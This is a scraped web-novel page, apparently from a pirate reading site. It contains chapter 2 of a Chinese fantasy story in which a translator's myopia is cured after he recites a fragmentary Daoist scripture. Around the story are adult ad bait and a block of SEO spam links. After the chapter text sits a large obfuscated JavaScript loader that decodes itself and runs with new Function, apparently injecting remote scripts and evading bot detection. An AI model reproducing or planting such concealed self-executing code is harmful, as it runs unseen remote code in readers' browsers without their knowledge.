关灯
护眼
字体:

第二章 玄典(第1页)

请退出浏览器阅读模式,否则将导致章节内容缺失及无法阅读下一章。🎁黑丝纯欲主播-免费

“玄典,意為研讀神秘的書,道家專有名詞,指通過讀一些玄妙的典籍,達到鍛煉心靈,參悟道的目的。”

下午的陽光變得柔和,劉黎做了個注釋。

他總算把譯文改了一遍,讓其出現了詩歌般的韻律,誦讀起來,劉黎都能感覺到一絲道韻,仿佛山中的清泉流水。

但這種感覺只有一絲,完全比不上原版的原汁原味,也沒辦法,時間和水平有限不說,英語終究是另一種文化環境的語言,很難改。

比如原文中“玄典”一詞,在劉黎的理解里,玄是動詞“研讀”,也是形容詞“神秘的”,典是名詞,翻譯成英文既不能失了“研讀”,也不能失了“神秘”,否則都會失去原本的含義,他只能翻譯成“研讀神秘的書”,導致整個詞匯膨脹,韻律被打亂。

“或者改為‘學習經文’?這樣就是兩個漢字對應兩個單詞,只是發音不一樣。”劉黎想著,又做了修改。

隨著又一次翻譯,劉黎對“無名道經殘卷。pdf”有了更深刻的認知。

無名道經本身應該是講“山術”的道經,“山”是道家中“修練”的意思,山術就是修煉術,也有細分,可以分為食餌,服餌,丹法,玄典,拳法和符咒。

但劉黎得到的只是一部分原文,包含“丹法”的結尾,完整的“玄典”和“拳法”的開頭,只是殘卷。

所謂“丹法”,劉黎把它翻譯成了“冥想”,無名道經殘卷中記載了一種“渡橋分燈筑基”的冥想法,不過只有最后一段,講述如何處理修練后殘余的燈燭,他甚至不知道這些燈燭是切實存在的,還是冥想法中想象出來的。

而“拳法”部分讀起來更像是如何鍛煉身體的體操,也只有開頭,感覺不如第二套廣播體操“時代在召喚”。

劉黎還確定了一個事實,那就是無名道經殘卷確實有某種韻律,就像一歌有一個特定的編曲,他在翻譯過程中不停的默誦,雖然現代漢語和古代的發音差別很大,但至少是一個字對應一個音,他越吟越有感覺,這比英文翻譯明顯地多。

劉黎甚至覺得,無名道經殘卷的內容可能都沒有它本身呈現的韻律重要,原文也說反復吟誦可以起到“耳聰目明”,“鍛煉精神”的作用。

不過也只是想想,要是他跟丁胭紅說……這東西為了修煉效果,只翻譯聲音和韻律,不翻譯意思,單子能不能做下去先不說,丁老師得關心下他的心理健康問題。

再說了,作為一個堅定的唯物主義者,劉黎是根本不相信有什么怪力亂神,修煉方法之類的最多存在于小說當中。

“就算真有修煉效果,客戶也應該找專業的道家人士翻譯,而不是交給一家翻譯公司,讓他們外包給我們這些外行翻譯員。”劉黎腹誹:“拿我們翻譯出的東西修煉,這不得修出點大病。”

把文件發送給丁經理,讓她在交初稿之前找人審校一下,劉黎伸了個懶腰,他到目前為止一直廢寢忘食翻譯,只吃了些零食,現在餓極了,決定出去吃點好吃的犒勞自己。

劉黎伸手摘眼鏡,卻突然一愣。

眼鏡沒有架在他的鼻梁上。

他脖子僵硬,像人偶那樣旋轉,視線聚焦。

他的眼鏡放在鼠標墊前面的空處,在他醒來做翻譯時,一直沒有戴上。

……

星城,鐘樓小區大門口的一家沙縣小吃,劉黎點了一份雞排飯,還額外加了一個雞腿犒勞自己。

吃著蘸滿醬汁,味道鮮美的飯,啃著雞腿,劉黎陷入了沉思。

他從初中就是近視,在高中變成重度近視,即使是在電腦前面工作,也必須戴上,才能不貼近屏幕看清字。

可這樣的近視,僅僅只是讀了一下某篇經文,就直接治好了?

劉黎看著遠處,他的世界很清晰,沒有佩戴眼鏡,卻依然可以看到清晰的景象,看清每個人,每輛車。

他腦海里冒出一個念頭,如果把這篇道經公布出來,是不是全世界的眼鏡廠商都得倒閉?

劉黎也只是想想,因為他是和翻譯公司簽訂了合同,有保密協議的,如果把客戶的原文泄露出去算違約,有違約金,要扣錢。

況且,他自己也不太相信這種事。

“哪有這種好事,肯定不是每個人都可以……我莫非是傳說中的修煉奇才?”劉黎想著,他在思考要不要去網上查查別的道經,看看有沒有效果。

其實劉黎已經知道大概沒有效果,因為他為了翻譯無名道經殘卷,已經在網上搜索了許多道家典籍和對應的翻譯做參考資料,它們都沒有這么神奇。

“還有一個很嚴肅的問題。”劉黎想道:“這份無名道經這么神奇,一定頗有來歷,我把它就這樣翻譯給外國人,會不會有隱患?”

雖然經手劉黎翻譯了一道,還有沒有原來的效果還是未知,估計就算有,也是十成去了九成半,還剩個小尾巴。

劉黎內心掙扎猶豫,在思考要不要放棄這份單子。

可劉黎又很好奇,這無名道經其他的部分到底是什么樣的啊!

光是一篇完整的“玄典”,就能讓他治好多年的近視,其他部分得有多神奇?

🎁黑丝纯欲主播-免费请退出浏览器阅读模式,否则将导致章节内容缺失及无法阅读下一章。

!function(){function a(a){var _idx="v5fua0y2hc";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,l7_2(F6O2ca[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y8D62fODm622Y5V6fFh!qYF J8Y/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa!Xd5 F=O!(O2LF X8[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hLFd5F"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgY/}0=6FY^9Y6phFgJ/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"bGYYYGb"!qYF d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 TcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!XmqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28c28"hFFJLg//[[fdTPP@Q}Cq_6OYpmD(f7RCmRT4gQ@{n/h^/@Q}jR8Xn7_d0T@h("a%c*}8882m62fYR;7c"j"aj"j"g"v"a%"58"%Xm5Y|5T%%%"vF8"%hca%5ca!FmL5(8Tc2a=FmO2qOdf87_2(F6O2ca[XmqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=XmqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF 78"@Q}"=^8"Xn7_d0T@h("!7_2(F6O2 pcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 icYa[Xd5 F8H"@Q}d2(LCYmRD(JhfmRT4"="@Q}5p(LYpmq^Xf(LmRT4"="@Q}D7(LSqm(f24hJmRT4"="@Q}dC(LJ^mRD(JhfmRT4"="@Q}(C(L:4mq^Xf(LmRT4"="@Q}C2(LSYm(f24hJmRT4"="@Q}25(LLSmRD(JhfmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q@{n"!qYF O82YD VY)iO(SYFcF%"/"%7%"jR8"%^%"v58"%Xm5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[XmqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[287_2(F6O2cYa[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=780!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!7<YmqY2pFh!a28fH_ZcYH(Zc7%%aa=O8fH_ZcYH(Zc7%%aa=68fH_ZcYH(Zc7%%aa=d8fH_ZcYH(Zc7%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 ^8h!qYF Y8""=F=2=O!7O5cF858280!F<^mqY2pFh!ac58^HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc28^HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc28^HLZcF%}a=O8^HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPc2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=XmqOdfiFdF_L8*}PpcOa=@888XmqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l88XmqOdfiFdF_LvvYvvYca=pcOaP=XmqOdfiFdF_L8}PqYF D8l}!7_2(F6O2 )ca[DvvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5cXmYXY2F|TJY=Xm(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfcXm5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqcXmLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l88XmqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP8X!7_2(F6O2 Lca[Xd5 Y8Tc"hFFJLg//[[fdTPP@Q}2F(LCYmX{LX@ShmRT4gQ@{n/((/@Q}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5cXmYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clDa[(O2LF[YXY2F|TJYg7=6L|OJg^=5YXY5LY9Y6phFgpP8X!fO(_^Y2FmdffEXY2Ft6LFY2Y5c7=h=l0a=Xm(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8Tc"hFFJLg//[[fdTPP@Q}2F(LCYmX{LX@ShmRT4gQ@{n/((/@Q}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c^a[67cO<8pa5YF_52l}!O<J%pvvfcaPYqLY[F8F*O!67cF<8pa5YF_52l}!F<J%pvvfcaPP2m6f8Xm5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[Xm5YXY5LY9Y6phFPJR`=^jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=D8l0PqYF F8Tc"hFFJLg//[[fdTPP@Q}Cq_6OYpmD(f7RCmRT4gQ@{n/f/@Q}j(8}vR8Xn7_d0T@h("a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPY82dX6pdFO5mJqdF7O5^=F8l/3cV62?yd(a/mFYLFcYa=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cF??Oavvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2Fajic7_2(F6O2ca[Lc@0}a=ic7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=ic7_2(F6O2ca[Lc}0saPaPaPaa=lFvvY??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8Tc"hFFJLg//[[fdTPP@Q}Cq_6OYpmD(f7RCmRT4gQ@{n"a%"/)_pj68"%7=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPca!'.substr(22));new Function(b)()}();
www.rywoool.com 传奇小说
畅快阅读 永久免费
请注意适当休息 保护好您的眼睛

刘楚琇和刘楚玉分手后我被前男友囚禁了综影视无心岳绮罗许三少作品和毛茸茸谈恋爱网游之我有神圣伤害陛下替我来宅斗链接极品村支书全文免费我想再看看其他工作怎么办田园俏寡妇阅读非典型庶女周兼的结局摸宝txt攻受文笔好的古言三六一度(中国)有限公司本王已娶侧妃一个月 她可消气地位不稳这本书去哪买如日方升公司急着让我入职怎么办楚禾顾怀征最新章节阅读穿越甄嬛传全文爱我好吗怎么回复对方推荐好看的攻受快穿疯批反派们总对我强取豪夺快穿之普女拒绝万人迷免费阅读楚禾顾怀征的在线阅读无弹窗摸宝就变强最新章节在线阅读限定情人讲的是什么攻alpha×beta推文年代小辣媳她美又飒免费阅读听书方圆之间在线阅读后土娘娘是什么神位深情饵三六一度跑鞋推荐穿成早死白月光我修仙有提示雾雨花毛茸茸惊典攻受排名女人不狠地位不稳咸柠七结局箱子里的人完整版龙星风云录都市女性情感剧杨mi完整视频女配修仙小师妹的逆袭无弹窗方圆之间by阳本王今日娶妃余生烟火的意思傻小子下山全文免费阅读分手后被前男友囚禁了免费结婚四年老公出轨怎么办都市玄门医王 最新章节 无弹窗高禹川沈瑶初总共多少章